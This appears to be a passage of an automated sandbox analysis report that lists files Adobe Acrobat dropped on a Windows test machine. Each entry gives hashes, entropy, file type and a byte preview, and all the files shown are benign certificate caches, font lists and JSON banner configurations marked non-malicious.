SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl691PtfllXlE/HT8kvU7ttNNX8RolJuRdxLlGB9lQRYwpDdt:kKj91PeT8mURNMa8RdWBwRd
MD5:	8F825BCD111EAABB9A2312B180799F18
SHA1:	42157AA81391C6B5F37C88787004FAB8A0382AA0
SHA-256:	483CF3A6C074D1D3800F6CC7C597199E94F7966D8D5DF2C76BB3A1A27569BFC9
SHA-512:	90265A10521BFE0B632D25A0B25B0D4DF85B03657021FAF40190D41CD3EC988FEB598FFF5B2A32155634D3C418252858F3F473F035D0DF2FB4638B6F86A5B63E
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKRga/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9/iDnLNkPlE99SNxAhUe/3
MD5:	85C2DDFFEC2E9F0D8576668050213F27
SHA1:	E1414D486FE0AD097AC57ADD38E5537F73818AD3
SHA-256:	356D7F2B9482529D44FCD715FB57DF5F0C18BCB5647FC85B0429F2FB2AD00459
SHA-512:	D3DCA52A6A006CCA7A1278B2CCDF2986A4FA15553D2A0CB6B8812096DA4F01FE836B08ADA24387E35C90E0791555A7FA572244136F3B9037B3D750A00BDE4997
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7044

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7044

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.378366630901488
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJM3g98kUwPeUkwRe9:YvXKXBkKE6HZZBGMbLUkee9
MD5:	0FAE39415762A8F8F0D3D9598EB652A0
SHA1:	6022897EEF1A608631B3677D30B2DEE5651A837F
SHA-256:	B108E03DBB928AF80CE71D7187524ECF1EB9B55C258BA811F388D3F8B37A202D
SHA-512:	9586BDCFDF44338762C10F1FFD1FD5633B998A60EC7C1C0E4CEB1D8820CFFBD288140BE6EEE0807CFBD5D0AEED76625A61B50B6336BF5B83610E8FFE9D6373B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.318375331782903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfBoTfXpnrPeUkwRe9:YvXKXBkKE6HZZBGWTfXcUkee9
MD5:	A789B053FD19FF11E18C5915D6738DAF
SHA1:	51817C92B5F040B6FBBF32E4CB121EFB8045DF91
SHA-256:	C191A235EB4E4A55E0BAAB04A5620A43AA49F75C399309303AD3F2C2285A7136
SHA-512:	E4C54BD56DA207933CE84530789AB3536A90A333D720833A0DF7A3BDE994E6839F8A4FFE01D506D409F2788FCF9976F5D772EDBAC0924DDDB074323F5A1415BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295847580986531
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfBD2G6UpnrPeUkwRe9:YvXKXBkKE6HZZBGR22cUkee9
MD5:	BC0214643E464FB666F03EF3494C3865
SHA1:	CDBDD1A0B41D432F670E13960DE13529177B3708
SHA-256:	71C1B3F2C9EF27B1CC4EC457CA09F8E158CCC54BE09E592B89666620A2203AFF
SHA-512:	B2CB7B6ACAF7A3E4893FA82877565850B18D5083D31581054EAD4582F1D2F53B015152FA8D3667FA73CD809BDE5E70CDFC3E68A7045F9073C37E21C50FBABFFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.359032843853874
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfPmwrPeUkwRe9:YvXKXBkKE6HZZBGH56Ukee9
MD5:	F7A5DD3FB07E7A53E7C97C6525BC890C
SHA1:	3BB35D8FFB662987C9B55835DEDE189A2649F6D0
SHA-256:	5C370333D03DC7CD03237E48DABD058CEF56428C83312C1ED651A392AE1DC909
SHA-512:	A89740EFB13277EBB977B64ED1606CAB56314D2246B88B9B99400C7CFF41186E995A72D75BCA8FF4E9A9193D82E17B55EB86FD355D974CAAA26976D28192790F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688127360006361
Encrypted:	false
SSDEEP:	24:Yv6XBNE6HZ4pLgE9cQx8LennAvzBvkn0RCmK8czOCCSu5:YvEC8Z4hgy6SAFv5Ah8cv/u
MD5:	7C94949CA7399BA1349694463A1EEE3D
SHA1:	28257C9DDF2A1213DA75F7A6730F16DE543037BF
SHA-256:	02C7723EA8ED7A0BC349DBBB28666226D6CBE7D1F39DD994CD2B0DE0313DA3C5
SHA-512:	86C9E3AB6155B17EB525ABBB67BE9092B38FA640397A779A4AD0AEFEFE914660DC8D2E3D4DCA4332635546F85C7DDD045677495A17B15A4A5CEDF61C0C96CCFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308440302072798
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJf8dPeUkwRe9:YvXKXBkKE6HZZBGU8Ukee9
MD5:	B41796812B26FD7FFFDA5A6FE67876EA
SHA1:	34A65F937F759D0783570ABD34C312699632370F
SHA-256:	521E7331B2801798D64C25B4FB25D43DA5D9B6F9BC69A5906CE9049E744E3D20
SHA-512:	F6C104287059FAF5BA00B7D28E887CA294049A5C8F0BE3888695428DEBA656FBAEE4B19507E1DD58E7BD539CC673245D582FFE81205DD0C4044D3F8C075BFCE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.307032554282047
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfQ1rPeUkwRe9:YvXKXBkKE6HZZBGY16Ukee9
MD5:	2B6AC2F4475AEF39E6CA14E0D81D8CD3
SHA1:	A8CDD85BBFBFD6C05FCEDCC8AF63A75EA3B739F2
SHA-256:	E3125EADA77D04967DED29E517F5CFA34F99AC8BBC86C921855A6490BC6B516A
SHA-512:	271576756BDFF557E0B992C7B951220446FBC07B32539E7A5934ECB2081B106170A6701ACFA5425691AE42C6A030EBFEFA174531B2003F875081E155B0C948C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320390486659694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfFldPeUkwRe9:YvXKXBkKE6HZZBGz8Ukee9
MD5:	92D797640639A5D1F776731DEFE365A4
SHA1:	BCF60F38AE0E1EFE66C0AA7BDC83953E9D3F1AF9
SHA-256:	3EB1E2A77055477B670C01CE267C5EB84A7B86CA1BBFA48CE20AD659A3926618
SHA-512:	C738A561CF838CBA10EA2F8A2D2C7AC9E3F09DEE6C094E84A77E21A2267DC810EFCC41D1F849BBB3F7E5730C640B837DBEBE6F15A33708533B57679552E7949E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.334928837389818
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfzdPeUkwRe9:YvXKXBkKE6HZZBGb8Ukee9
MD5:	AC69EC3EC7710F101837A18EB1D98753
SHA1:	BC64378512DECAE02A7E7C7F48C2D95FC1F891AC
SHA-256:	DAE8EB9A7A1FB4D573DA0A42A964FD9286B1E2CA4F2004113916A035BF8AD076
SHA-512:	AC4D684E4661EA21F56BC33C5DA9A4C4BC25B5AB1EA015805D6D21B295A2A26531D52D374B8C01F9C205C2EA01D4EACB42BFF6D2854E722B6928FE35595A7B7C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"66b0d98b-9753-46ce-81a1-cdc688cda31f","sophiaUUID":"0515ACAE-DCC7-4733-8101-9751FF724CB9"},"encodingScheme":true,"expirationDTS":1736722640512,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.315895733446646
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBMlKtFE6wQdhlzFkF0YeyoAvJfYdPeUkwRe9:YvXKXBkKE6HZZBGg8Ukee9
MD5:	E74FEBBE20955002346790979B58C03F
SHA1:	CE47EF7B0E60A7C746A418CA8A381ACA42691759
